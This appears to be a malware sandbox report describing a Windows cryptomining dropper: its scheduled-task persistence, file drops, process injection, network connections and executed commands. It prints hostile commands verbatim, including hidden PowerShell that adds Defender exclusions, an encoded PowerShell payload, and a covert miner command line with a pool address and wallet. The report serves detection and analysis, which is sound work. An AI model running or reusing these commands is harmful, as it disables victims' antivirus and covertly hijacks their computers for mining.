Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\ijyqldg
- <SYSTEM32>\tasks\method
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -NoProfile -Command "Add-MpPreference -ExclusionPath '%APPDATA%\Value\Method.exe' -Force ; Add-MpPreference -ExclusionPath '%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\' -...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAEQALQBNAHAAUABSAGUARgBlAFIAZQBOAEMARQAgAC0ARQB4AGMATAB1AFMASQBvAG4AcABSAE8AYwBlAHMAcwAgAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4A...
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework64\v4.0.30319\msbuild.exe
- %WINDIR%\microsoft.net\framework64\v4.0.30319\addinprocess.exe
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\windowspowershell\v1.0\powershell.exe
Modifies file system
Creates the following files
- %TEMP%\main\file.bin
- %TEMP%\main\killduplicate.cmd
- %TEMP%\main\main.bat
- %TEMP%\main\7z.dll
- %TEMP%\main\7z.exe
- %TEMP%\main\extracted\file_8.zip
- %TEMP%\main\extracted\antiav.data
- %TEMP%\main\extracted\file_7.zip
- %TEMP%\main\extracted\file_6.zip
- %TEMP%\main\extracted\file_5.zip
- %TEMP%\main\extracted\file_4.zip
- %TEMP%\main\extracted\file_3.zip
- %TEMP%\main\extracted\file_2.zip
- %TEMP%\main\extracted\file_1.zip
- %TEMP%\main\extracted\installer.exe
- %TEMP%\content\2524-1388-installer.exe-10-58-03-155.dump
- %TEMP%\content\2524-1388-installer.exe-10-58-04-416.dump
- %TEMP%\content\2524-1388-installer.exe-10-58-04-432.dump
- %TEMP%\content\2524-1388-installer.exe-10-58-21-955.dump
- %APPDATA%\value\method.exe
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\installer.exe.log
- %TEMP%\content\3732-2248-method.exe-12-04-56-776.dump
- %TEMP%\content\3732-2248-method.exe-12-04-59-228.dump
- %TEMP%\content\3732-2248-method.exe-12-04-59-264.dump
- %TEMP%\content\3732-2248-method.exe-12-05-06-270.dump
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\method.exe.log
- %TEMP%\content\3232-3628-msbuild.exe-12-05-13-974.dump
- %TEMP%\content\3232-3628-msbuild.exe-12-05-15-112.dump
- %TEMP%\content\3232-3628-msbuild.exe-12-05-15-132.dump
Sets the 'hidden' attribute to the following files
- %TEMP%\main\killduplicate.cmd
- %TEMP%\main\installer.exe
- %APPDATA%\value\method.exe
Deletes the following files
- <SYSTEM32>\tasks\ijyqldg
Moves the following files
- from %TEMP%\main\file.bin to %TEMP%\main\file.zip
- from %TEMP%\main\extracted\installer.exe to %TEMP%\main\installer.exe
Substitutes the following files
- %TEMP%\main\file.bin
Network activity
Connects to
- '23.##.252.55':39003
- '94.##.164.116':80
TCP
HTTP GET requests
- http://94.##.164.116/plugin3.plg
Other
- '23.##.252.55':39003
Miscellaneous
Creates and executes the following
- '%TEMP%\main\7z.exe' e file.zip -p277661463212082178881225924161 -oextracted
- '%TEMP%\main\7z.exe' e extracted/file_8.zip -oextracted
- '%TEMP%\main\7z.exe' e extracted/file_7.zip -oextracted
- '%TEMP%\main\7z.exe' e extracted/file_6.zip -oextracted
- '%TEMP%\main\7z.exe' e extracted/file_5.zip -oextracted
- '%TEMP%\main\7z.exe' e extracted/file_4.zip -oextracted
- '%TEMP%\main\7z.exe' e extracted/file_3.zip -oextracted
- '%TEMP%\main\7z.exe' e extracted/file_2.zip -oextracted
- '%TEMP%\main\7z.exe' e extracted/file_1.zip -oextracted
- '%TEMP%\main\installer.exe'
- '%APPDATA%\value\method.exe'
Executes the following
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\main\main.bat" /S"
- '<SYSTEM32>\mode.com' 65,10
- '<SYSTEM32>\attrib.exe' +H "Installer.exe"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -NoProfile -Command "System.Collections.Generic.List`1[System.String]"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\msbuild.exe'
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\addinprocess.exe' --algo rx/0 -o 23.##.252.55:49301 -u 88sJPVuNDYLeN74YgB5wMNJJq6wFNUhWg6x9czbRuYzMcbq6xiHbKQ4XPMHMPnjhykZN24K8b5Lx9FE6qqSFYRRLMpujX5W.Worker_CPU -p x --cpu-max-threads-hint=50 -k
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\main\main.bat" /S"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\msbuild.exe' ' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\addinprocess.exe' --algo rx/0 -o 23.##.252.55:49301 -u 88sJPVuNDYLeN74YgB5wMNJJq6wFNUhWg6x9czbRuYzMcbq6xiHbKQ4XPMHMPnjhykZN24K8b5Lx9FE6qqSFYRRLMpujX5W.Worker_CPU -p x --cpu-max-threads-hint=50 -k' (with hidden window)
